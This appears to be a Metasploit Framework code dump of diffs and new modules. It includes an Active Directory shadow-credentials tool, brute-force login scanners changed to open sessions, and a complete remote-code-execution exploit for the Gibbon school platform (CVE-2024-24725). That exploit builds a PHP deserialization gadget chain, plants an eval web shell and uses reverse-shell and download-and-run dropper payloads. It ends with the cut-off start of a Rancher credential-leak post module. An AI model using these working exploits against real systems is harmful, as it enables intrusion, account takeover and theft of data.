print_warning('By default, computer accounts can only update their key credentials if no value already exists. If there is already a value present, you can remove it, and add your own, but any users relying on the existing credentials will not be able to authenticate until you replace the existing value(s).')
|
||||
elsif datastore['USERNAME'] == datastore['TARGET_USER'] && !datastore['USERNAME'].end_with?('$')
|
||||
print_warning('By default, only computer accounts can modify their own properties (not user accounts).')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def ldap_get(filter, attributes: [])
|
||||
raw_obj = @ldap.search(base: @base_dn, filter: filter, attributes: attributes).first
|
||||
return nil unless raw_obj
|
||||
|
||||
obj = {}
|
||||
|
||||
obj['dn'] = raw_obj['dn'].first.to_s
|
||||
unless raw_obj['sAMAccountName'].empty?
|
||||
obj['sAMAccountName'] = raw_obj['sAMAccountName'].first.to_s
|
||||
end
|
||||
|
||||
unless raw_obj['ObjectSid'].empty?
|
||||
obj['ObjectSid'] = Rex::Proto::MsDtyp::MsDtypSid.read(raw_obj['ObjectSid'].first)
|
||||
end
|
||||
|
||||
unless raw_obj[ATTRIBUTE].empty?
|
||||
result = []
|
||||
raw_obj[ATTRIBUTE].each do |entry|
|
||||
dn_binary = Rex::Proto::LDAP::DnBinary.decode(entry)
|
||||
struct = Rex::Proto::MsAdts::MsAdtsKeyCredentialStruct.read(dn_binary.data)
|
||||
result.append(Rex::Proto::MsAdts::KeyCredential.from_struct(struct))
|
||||
end
|
||||
obj[ATTRIBUTE] = result
|
||||
end
|
||||
|
||||
obj
|
||||
end
|
||||
|
||||
def run
|
||||
ldap_connect do |ldap|
|
||||
validate_bind_success!(ldap)
|
||||
|
||||
if (@base_dn = datastore['BASE_DN'])
|
||||
print_status("User-specified base DN: #{@base_dn}")
|
||||
else
|
||||
print_status('Discovering base DN automatically')
|
||||
|
||||
unless (@base_dn = discover_base_dn(ldap))
|
||||
print_warning("Couldn't discover base DN!")
|
||||
end
|
||||
end
|
||||
@ldap = ldap
|
||||
|
||||
begin
|
||||
target_user = datastore['TARGET_USER']
|
||||
obj = ldap_get("(sAMAccountName=#{target_user})", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE])
|
||||
if obj.nil? && !target_user.end_with?('$')
|
||||
obj = ldap_get("(sAMAccountName=#{target_user}$)", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE])
|
||||
end
|
||||
fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{target_user}") unless obj
|
||||
|
||||
send("action_#{action.name.downcase}", obj)
|
||||
rescue ::IOError => e
|
||||
fail_with(Failure::UnexpectedReply, e.message)
|
||||
end
|
||||
end
|
||||
rescue Net::LDAP::Error => e
|
||||
print_error("#{e.class}: #{e.message}")
|
||||
end
|
||||
|
||||
def action_list(obj)
|
||||
credential_entries = obj[ATTRIBUTE]
|
||||
if credential_entries.nil?
|
||||
print_status("The #{ATTRIBUTE} field is empty.")
|
||||
return
|
||||
end
|
||||
print_status('Existing credentials:')
|
||||
credential_entries.each do |credential|
|
||||
print_status("DeviceID: #{credential.device_id} - Created #{credential.key_creation_time}")
|
||||
end
|
||||
end
|
||||
|
||||
def action_remove(obj)
|
||||
credential_entries = obj[ATTRIBUTE]
|
||||
if credential_entries.nil? || credential_entries.empty?
|
||||
print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")
|
||||
return
|
||||
end
|
||||
|
||||
length_before = credential_entries.length
|
||||
credential_entries.delete_if { |entry| entry.device_id.to_s == datastore['DEVICE_ID'] }
|
||||
if credential_entries.length == length_before
|
||||
print_status('No matching entries found - check device ID')
|
||||
else
|
||||
update_list = credentials_to_ldap_format(credential_entries, obj['dn'])
|
||||
unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, update_list)
|
||||
warn_on_likely_user_error
|
||||
fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")
|
||||
end
|
||||
print_good("Deleted entry with device ID #{datastore['DEVICE_ID']}")
|
||||
end
|
||||
end
|
||||
|
||||
def action_flush(obj)
|
||||
unless obj[ATTRIBUTE]
|
||||
print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")
|
||||
return
|
||||
end
|
||||
|
||||
unless @ldap.delete_attribute(obj['dn'], ATTRIBUTE)
|
||||
fail_with_ldap_error("Failed to deleted the #{ATTRIBUTE} attribute.")
|
||||
end
|
||||
|
||||
print_good("Successfully deleted the #{ATTRIBUTE} attribute.")
|
||||
end
|
||||
|
||||
def action_add(obj)
|
||||
credential_entries = obj[ATTRIBUTE]
|
||||
if credential_entries.nil?
|
||||
credential_entries = []
|
||||
end
|
||||
key, cert = generate_key_and_cert(datastore['TARGET_USER'])
|
||||
credential = Rex::Proto::MsAdts::KeyCredential.new
|
||||
credential.set_key(key.public_key, Rex::Proto::MsAdts::KeyCredential::KEY_USAGE_NGC)
|
||||
now = ::Time.now
|
||||
credential.key_approximate_last_logon_time = now
|
||||
credential.key_creation_time = now
|
||||
credential_entries.append(credential)
|
||||
update_list = credentials_to_ldap_format(credential_entries, obj['dn'])
|
||||
|
||||
unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, update_list)
|
||||
warn_on_likely_user_error
|
||||
fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")
|
||||
end
|
||||
|
||||
pkcs12 = OpenSSL::PKCS12.create('', '', key, cert)
|
||||
store_cert(pkcs12)
|
||||
|
||||
print_good("Successfully updated the #{ATTRIBUTE} attribute; certificate with device ID #{credential.device_id}")
|
||||
end
|
||||
|
||||
def store_cert(pkcs12)
|
||||
service_data = ldap_service_data
|
||||
credential_data = {
|
||||
**service_data,
|
||||
address: service_data[:host],
|
||||
port: rport,
|
||||
protocol: service_data[:proto],
|
||||
service_name: service_data[:name],
|
||||
workspace_id: myworkspace_id,
|
||||
username: datastore['TARGET_USER'],
|
||||
private_type: :pkcs12,
|
||||
# pkcs12 is a binary format, but for persisting we Base64 encode it
|
||||
private_data: Base64.strict_encode64(pkcs12.to_der),
|
||||
origin_type: :service,
|
||||
module_fullname: fullname
|
||||
}
|
||||
create_credential(credential_data)
|
||||
|
||||
info = "#{datastore['DOMAIN']}\\#{datastore['TARGET_USER']} Certificate"
|
||||
stored_path = store_loot('windows.ad.cs', 'application/x-pkcs12', rhost, pkcs12.to_der, 'certificate.pfx', info)
|
||||
print_status("Certificate stored at: #{stored_path}")
|
||||
end
|
||||
|
||||
def ldap_service_data
|
||||
{
|
||||
host: rhost,
|
||||
port: rport,
|
||||
proto: 'tcp',
|
||||
name: 'ldap',
|
||||
info: "Module: #{fullname}, #{datastore['LDAP::AUTH']} authentication"
|
||||
}
|
||||
end
|
||||
|
||||
def credentials_to_ldap_format(entries, dn)
|
||||
entries.map do |entry|
|
||||
struct = entry.to_struct
|
||||
dn_binary = Rex::Proto::LDAP::DnBinary.new(dn, struct.to_binary_s)
|
||||
|
||||
dn_binary.encode
|
||||
end
|
||||
end
|
||||
|
||||
def generate_key_and_cert(subject)
|
||||
key = OpenSSL::PKey::RSA.new(2048)
|
||||
cert = OpenSSL::X509::Certificate.new
|
||||
cert.public_key = key.public_key
|
||||
cert.issuer = OpenSSL::X509::Name.new([['CN', subject]])
|
||||
cert.subject = OpenSSL::X509::Name.new([['CN', subject]])
|
||||
yr = 24 * 3600 * 365
|
||||
cert.not_before = Time.at(Time.now.to_i - rand(yr * 3) - yr)
|
||||
cert.not_after = Time.at(cert.not_before.to_i + (rand(4..9) * yr))
|
||||
cert.sign(key, OpenSSL::Digest.new('SHA256'))
|
||||
|
||||
[key, cert]
|
||||
end
|
||||
end
|
||||
@@ -36,7 +36,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
)
|
||||
register_options([
|
||||
Opt::Proxies,
|
||||
OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false])
|
||||
OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]),
|
||||
OptBool.new('CreateSession', [false, 'Create a new session for every successful login', false])
|
||||
])
|
||||
|
||||
options_to_deregister = %w[PASSWORD_SPRAY]
|
||||
@@ -132,12 +133,11 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
if create_session?
|
||||
begin
|
||||
mssql_client = result.proof
|
||||
successful_sessions << session_setup(result, mssql_client)
|
||||
successful_sessions << session_setup(result)
|
||||
rescue ::StandardError => e
|
||||
elog('Failed: ', error: e)
|
||||
print_error(e)
|
||||
result.proof.conn.close if result.proof&.conn
|
||||
elog('Failed to setup the session', error: e)
|
||||
print_brute level: :error, ip: ip, msg: "Failed to setup the session - #{e.class} #{e.message}"
|
||||
result.connection.close unless result.connection.nil?
|
||||
end
|
||||
end
|
||||
else
|
||||
@@ -148,11 +148,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
{ successful_logins: successful_logins, successful_sessions: successful_sessions }
|
||||
end
|
||||
|
||||
def session_setup(result, client)
|
||||
return unless (result && client)
|
||||
rstream = client.sock
|
||||
my_session = Msf::Sessions::MSSQL.new(rstream, { client: client })
|
||||
merging = {
|
||||
# @param [Metasploit::Framework::LoginScanner::Result] result
|
||||
# @return [Msf::Sessions::MSSQL]
|
||||
def session_setup(result)
|
||||
return unless (result.connection && result.proof)
|
||||
|
||||
my_session = Msf::Sessions::MSSQL.new(result.connection, { client: result.proof })
|
||||
merge_me = {
|
||||
'USERPASS_FILE' => nil,
|
||||
'USER_FILE' => nil,
|
||||
'PASS_FILE' => nil,
|
||||
@@ -160,6 +162,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'PASSWORD' => result.credential.private
|
||||
}
|
||||
|
||||
start_session(self, nil, merging, false, my_session.rstream, my_session)
|
||||
start_session(self, nil, merge_me, false, my_session.rstream, my_session)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -36,6 +36,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
register_options(
|
||||
[
|
||||
Opt::Proxies,
|
||||
OptBool.new('CreateSession', [false, 'Create a new session for every successful login', false])
|
||||
])
|
||||
|
||||
options_to_deregister = %w[PASSWORD_SPRAY]
|
||||
@@ -120,12 +121,11 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
if create_session?
|
||||
begin
|
||||
mysql_client = result.proof
|
||||
successful_sessions << session_setup(result, mysql_client)
|
||||
successful_sessions << session_setup(result)
|
||||
rescue ::StandardError => e
|
||||
elog('Failed: ', error: e)
|
||||
print_error(e)
|
||||
result.proof.conn.close if result.proof&.conn
|
||||
elog('Failed to setup the session', error: e)
|
||||
print_brute level: :error, ip: ip, msg: "Failed to setup the session - #{e.class} #{e.message}"
|
||||
result.connection.close unless result.connection.nil?
|
||||
end
|
||||
end
|
||||
else
|
||||
@@ -195,15 +195,12 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
# @param [Metasploit::Framework::LoginScanner::Result] result
|
||||
# @param [::Rex::Proto::MySQL::Client] client
|
||||
# @return [Msf::Sessions::MySQL]
|
||||
def session_setup(result, client)
|
||||
return unless (result && client)
|
||||
def session_setup(result)
|
||||
return unless (result.connection && result.proof)
|
||||
|
||||
rstream = client.socket || client.io
|
||||
|
||||
my_session = Msf::Sessions::MySQL.new(rstream, { client: client })
|
||||
merging = {
|
||||
my_session = Msf::Sessions::MySQL.new(result.connection, { client: result.proof, **result.proof.detect_platform_and_arch })
|
||||
merge_me = {
|
||||
'USERPASS_FILE' => nil,
|
||||
'USER_FILE' => nil,
|
||||
'PASS_FILE' => nil,
|
||||
@@ -211,6 +208,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'PASSWORD' => result.credential.private
|
||||
}
|
||||
|
||||
start_session(self, nil, merging, false, my_session.rstream, my_session)
|
||||
start_session(self, nil, merge_me, false, my_session.rstream, my_session)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -45,6 +45,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
File.join(Msf::Config.data_directory, "wordlists", "postgres_default_user.txt") ]),
|
||||
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
|
||||
File.join(Msf::Config.data_directory, "wordlists", "postgres_default_pass.txt") ]),
|
||||
OptBool.new('CreateSession', [false, 'Create a new session for every successful login', false])
|
||||
])
|
||||
|
||||
options_to_deregister = %w[SQL PASSWORD_SPRAY]
|
||||
@@ -116,12 +117,11 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
if create_session?
|
||||
begin
|
||||
postgresql_client = result.proof
|
||||
successful_sessions << session_setup(result, postgresql_client)
|
||||
successful_sessions << session_setup(result)
|
||||
rescue ::StandardError => e
|
||||
elog('Failed: ', error: e)
|
||||
print_error(e)
|
||||
result.proof.conn.close if result.proof&.conn
|
||||
elog('Failed to setup the session', error: e)
|
||||
print_brute level: :error, ip: ip, msg: "Failed to setup the session - #{e.class} #{e.message}"
|
||||
result.connection.close unless result.connection.nil?
|
||||
end
|
||||
end
|
||||
else
|
||||
@@ -142,12 +142,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def session_setup(result, client)
|
||||
return unless (result && client)
|
||||
# @param [Metasploit::Framework::LoginScanner::Result] result
|
||||
# @return [Msf::Sessions::PostgreSQL]
|
||||
def session_setup(result)
|
||||
return unless (result.connection && result.proof)
|
||||
|
||||
rstream = client.conn
|
||||
my_session = Msf::Sessions::PostgreSQL.new(rstream, { client: client })
|
||||
merging = {
|
||||
my_session = Msf::Sessions::PostgreSQL.new(result.connection, { client: result.proof })
|
||||
merge_me = {
|
||||
'USERPASS_FILE' => nil,
|
||||
'USER_FILE' => nil,
|
||||
'PASS_FILE' => nil,
|
||||
@@ -155,6 +156,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'PASSWORD' => result.credential.private
|
||||
}
|
||||
|
||||
start_session(self, nil, merging, false, my_session.rstream, my_session)
|
||||
start_session(self, nil, merge_me, false, my_session.rstream, my_session)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -61,7 +61,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
OptBool.new('PRESERVE_DOMAINS', [ false, 'Respect a username that contains a domain name.', true ]),
|
||||
OptBool.new('RECORD_GUEST', [ false, 'Record guest-privileged random logins to the database', false ]),
|
||||
OptBool.new('DETECT_ANY_AUTH', [false, 'Enable detection of systems accepting any authentication', false]),
|
||||
OptBool.new('DETECT_ANY_DOMAIN', [false, 'Detect if domain is required for the specified user', false])
|
||||
OptBool.new('DETECT_ANY_DOMAIN', [false, 'Detect if domain is required for the specified user', false]),
|
||||
OptBool.new('CreateSession', [false, 'Create a new session for every successful login', false])
|
||||
]
|
||||
)
|
||||
|
||||
@@ -191,11 +192,11 @@ class MetasploitModule < Msf::Auxiliary
|
||||
report_creds(ip, rport, result)
|
||||
if create_session?
|
||||
begin
|
||||
smb_client = result.proof
|
||||
successful_sessions << session_setup(result, smb_client)
|
||||
rescue StandardError => e
|
||||
successful_sessions << session_setup(result)
|
||||
rescue ::StandardError => e
|
||||
elog('Failed to setup the session', error: e)
|
||||
print_brute level: :error, ip: ip, msg: "Failed to setup the session - #{e.class} #{e.message}"
|
||||
result.connection.close unless result.connection.nil?
|
||||
end
|
||||
end
|
||||
:next_user
|
||||
@@ -296,20 +297,11 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
# @param [Metasploit::Framework::LoginScanner::Result] result
|
||||
# @param [RubySMB::Client] client
|
||||
# @return [Msf::Sessions::SMB]
|
||||
def session_setup(result, client)
|
||||
return unless client
|
||||
|
||||
# Create a new session
|
||||
rstream = client.dispatcher.tcp_socket
|
||||
sess = Msf::Sessions::SMB.new(
|
||||
rstream,
|
||||
{
|
||||
client: client
|
||||
}
|
||||
)
|
||||
def session_setup(result)
|
||||
return unless (result.connection && result.proof)
|
||||
|
||||
my_session = Msf::Sessions::SMB.new(result.connection, { client: result.proof })
|
||||
merge_me = {
|
||||
'USERPASS_FILE' => nil,
|
||||
'USER_FILE' => nil,
|
||||
@@ -318,7 +310,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'PASSWORD' => result.credential.private
|
||||
}
|
||||
|
||||
start_session(self, nil, merge_me, false, sess.rstream, sess)
|
||||
start_session(self, nil, merge_me, false, my_session.rstream, my_session)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -30,6 +30,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(161),
|
||||
OptEnum.new('PROTOCOL', [true, 'The SNMP protocol to use', 'udp', ['udp', 'tcp']]),
|
||||
OptEnum.new('VERSION', [true, 'The SNMP version to scan', '1', ['1', '2c', 'all']]),
|
||||
OptString.new('PASSWORD', [ false, 'The password to test' ]),
|
||||
OptPath.new('PASS_FILE', [ false, "File containing communities, one per line",
|
||||
@@ -51,6 +52,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
scanner = Metasploit::Framework::LoginScanner::SNMP.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
protocol: datastore['PROTOCOL'],
|
||||
cred_details: collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
@@ -91,6 +93,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def protocol
|
||||
datastore['PROTOCOL']
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,251 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::FileDropper
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Gibbon School Platform Authenticated PHP Deserialization Vulnerability',
|
||||
'Description' => %q{
|
||||
A Remote Code Execution vulnerability in Gibbon online school platform version 26.0.00 and lower
|
||||
allows remote authenticated users to conduct PHP deserialization attacks via columnOrder in a
|
||||
POST request to the endpoint `/modules/System%20Admin/import_run.php&type=externalAssessment&step=4`.
|
||||
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
|
||||
potentially resulting in complete system compromise, data exfiltration, or unauthorized access
|
||||
to sensitive information.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
|
||||
'Ali Maharramli', # SecondX.io Research Team - discovery of the vulnerability
|
||||
'Fikrat Guliev', # SecondX.io Research Team - discovery of the vulnerability
|
||||
'Islam Rzayev' # SecondX.io Research Team - discovery of the vulnerability
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2024-24725'],
|
||||
['URL', 'https://attackerkb.com/topics/ogKGAB44BP/cve-2024-24725'],
|
||||
['PACKETSTORM', '177635'],
|
||||
['EDB', '51903']
|
||||
],
|
||||
'DisclosureDate' => '2024-03-18',
|
||||
'Platform' => ['php', 'unix', 'linux', 'win'],
|
||||
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86],
|
||||
'Privileged' => false,
|
||||
'Targets' => [
|
||||
[
|
||||
'PHP',
|
||||
{
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Type' => :php,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
|
||||
}
|
||||
}
|
||||
],
|
||||
[
|
||||
'Unix Command',
|
||||
{
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_cmd,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
||||
}
|
||||
}
|
||||
],
|
||||
[
|
||||
'Linux Dropper',
|
||||
{
|
||||
'Platform' => ['linux'],
|
||||
'Arch' => [ARCH_X64, ARCH_X86],
|
||||
'Type' => :linux_dropper,
|
||||
'CmdStagerFlavor' => ['wget', 'curl', 'bourne', 'printf', 'echo'],
|
||||
'Linemax' => 16384,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
|
||||
}
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows Command',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :windows_cmd,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/windows/powershell/x64/meterpreter/reverse_tcp'
|
||||
}
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows Dropper',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X64, ARCH_X86],
|
||||
'Type' => :windows_dropper,
|
||||
'Linemax' => 16384,
|
||||
'CmdStagerFlavor' => ['psh_invokewebrequest', 'vbs', 'debug_asm', 'debug_write', 'certutil'],
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true,
|
||||
'RPORT' => 443
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [ true, 'The Gibbon online school platform endpoint URL', '/' ]),
|
||||
OptString.new('WEBSHELL', [false, 'Set webshell name without extension. Name will be randomly generated if left unset.', nil]),
|
||||
OptString.new('USERNAME', [true, 'Gibbon username to login, typically an e-mail address']),
|
||||
OptString.new('PASSWORD', [true, 'Password'])
|
||||
])
|
||||
end
|
||||
|
||||
def gibbon_login
|
||||
# construct multipart login form data
|
||||
form_data = Rex::MIME::Message.new
|
||||
form_data.add_part('', nil, nil, 'form-data; name="address"')
|
||||
form_data.add_part('default', nil, nil, 'form-data; name="method"')
|
||||
form_data.add_part(datastore['USERNAME'].to_s, nil, nil, 'form-data; name="username"')
|
||||
form_data.add_part(datastore['PASSWORD'].to_s, nil, nil, 'form-data; name="password"')
|
||||
form_data.add_part('025', nil, nil, 'form-data; name="gibbonSchoolYearID"')
|
||||
form_data.add_part('0002', nil, nil, 'form-data; name="gibboni18nID"')
|
||||
|
||||
return send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'login.php?timeout=true'),
|
||||
'keep_cookies' => true,
|
||||
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
|
||||
'data' => form_data.to_s
|
||||
})
|
||||
end
|
||||
|
||||
def construct_form_data(payload)
|
||||
# construct multipart form data with payload
|
||||
payload_len = payload.length
|
||||
payload_data = "a:2:{i:7;O:32:\"Monolog\\Handler\\SyslogUdpHandler\":1:{s:9:\"\x00*\x00socket\";O:29:\"Monolog\\Handler\\BufferHandler\":7:{s:10:\"\x00*\x00handler\";r:3;s:13:\"\x00*\x00bufferSize\";i:-1;s:9:\"\x00*\x00buffer\";a:1:{i:0;a:2:{i:0;s:#{payload_len}:\"#{payload}\";s:5:\"level\";N;}}s:8:\"\x00*\x00level\";N;s:14:\"\x00*\x00initialized\";b:1;s:14:\"\x00*\x00bufferLimit\";i:-1;s:13:\"\x00*\x00processors\";a:2:{i:0;s:7:\"current\";i:1;s:6:\"system\";}}}i:7;i:7;}"
|
||||
|
||||
form_data = Rex::MIME::Message.new
|
||||
form_data.add_part('/modules/System Admin/import_run.php', nil, nil, 'form-data; name="address"')
|
||||
form_data.add_part('sync', nil, nil, 'form-data; name="mode"')
|
||||
form_data.add_part('N', nil, nil, 'form-data; name="syncField"')
|
||||
form_data.add_part('', nil, nil, 'form-data; name="syncColumn"')
|
||||
form_data.add_part(payload_data.to_s, nil, nil, 'form-data; name="columnOrder"')
|
||||
form_data.add_part('N;', nil, nil, 'form-data; name="columnText"')
|
||||
form_data.add_part('%2C', nil, nil, 'form-data; name="fieldDelimiter"')
|
||||
form_data.add_part('%22', nil, nil, 'form-data; name="stringEnclosure"')
|
||||
form_data.add_part("#{Rex::Text.rand_text_alpha(8..16)}.xlsx", nil, nil, 'form-data; name="filename"')
|
||||
form_data.add_part('"External Assessment","Assessment Data","Student","Field Name","Category","Field Name","Result"', nil, nil, 'form-data; name="csvData"')
|
||||
form_data.add_part('1', nil, nil, 'form-data; name="ignoreErrors"')
|
||||
form_data.add_part('Submit', nil, nil, 'form-data; name="Failed"')
|
||||
return form_data
|
||||
end
|
||||
|
||||
def upload_webshell(b64_payload)
|
||||
# randomize file name if option WEBSHELL is not set
|
||||
@webshell_name = (datastore['WEBSHELL'].blank? ? "#{Rex::Text.rand_text_alpha(8..16)}.php" : "#{datastore['WEBSHELL']}.php")
|
||||
|
||||
# create webshell with base64 encoded PHP payload
|
||||
# works for both windows and linux targets
|
||||
php_payload = "echo \"<?php @eval(base64_decode(\'#{b64_payload}\'));?>\" > #{@webshell_name}"
|
||||
form_data = construct_form_data(php_payload)
|
||||
|
||||
# upload webshell
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4'),
|
||||
'keep_cookies' => true,
|
||||
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
|
||||
'data' => form_data.to_s
|
||||
})
|
||||
end
|
||||
|
||||
def execute_php(cmd, _opts = {})
|
||||
payload = Base64.strict_encode64(cmd)
|
||||
res = upload_webshell(payload)
|
||||
fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 200
|
||||
register_file_for_cleanup(@webshell_name)
|
||||
|
||||
# execute webshell
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, @webshell_name),
|
||||
'keep_cookies' => true
|
||||
})
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
form_data = construct_form_data(cmd)
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4'),
|
||||
'keep_cookies' => true,
|
||||
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
|
||||
'data' => form_data.to_s
|
||||
})
|
||||
end
|
||||
|
||||
def check
|
||||
print_status("Checking if #{peer} can be exploited.")
|
||||
res = send_request_cgi!({
|
||||
'method' => 'GET',
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
})
|
||||
return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200
|
||||
|
||||
# check if target is running the Gibbon online school platform
|
||||
# search for the Gibbon version on the login page
|
||||
return CheckCode::Safe('No Gibbon school platform found.') unless res.body.include?('Gibbon')
|
||||
|
||||
# trying to get the version
|
||||
version = res.body.match(/Gibbon.*v(\d+\.\d+\.\d+)/)
|
||||
version_number = version[0].split('v') unless version.nil?
|
||||
if version_number
|
||||
if Rex::Version.new(version_number[1]) <= Rex::Version.new('26.0.00')
|
||||
return CheckCode::Appears("Gibbon v#{version_number[1]}")
|
||||
else
|
||||
return CheckCode::Safe("Gibbon v#{version_number[1]}")
|
||||
end
|
||||
end
|
||||
CheckCode::Detected
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
||||
res = gibbon_login
|
||||
fail_with(Failure::NoAccess, "Login failed with user #{datastore['USERNAME']} and password #{datastore['PASSWORD']}.") unless res && res.code == 302
|
||||
|
||||
case target['Type']
|
||||
when :php
|
||||
execute_php(payload.encoded)
|
||||
when :unix_cmd, :windows_cmd
|
||||
execute_command(payload.encoded)
|
||||
when :linux_dropper, :windows_dropper
|
||||
# don't check the response here since the server won't respond
|
||||
# if the payload is successfully executed.
|
||||
execute_cmdstager({ linemax: target.opts['Linemax'] })
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,122 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::File
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Rancher Audit Log Sensitive Information Leak',
|
||||
'Description' => %q{
|
||||
Rancher versions between 2.6.0-2.6.13, 2.7.0-2.7.9, 2.8.0-2.8.1 inclusive
|
||||
contain a vulnerability where sensitive data is leaked into the audit logs.
|
||||
Rancher Audit Logging is an opt-in feature, only deployments that have it
|
||||
enabled and have AUDIT_LEVEL set to 1 or above are impacted by this issue.
|
||||
|
||||
Tested against rancher 2.6.0.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'h00die', # msf module
|
||||
],
|
||||
'Platform' => ['linux', 'unix'],
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'References' => [
|
||||
[ 'URL', 'https://github.com/rancher/rancher/security/advisories/GHSA-xfj7-qf8w-2gcr'],
|
||||
[ 'URL', 'https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options'],
|
||||
[ 'CVE', '2023-22649']
|
||||
],
|
||||
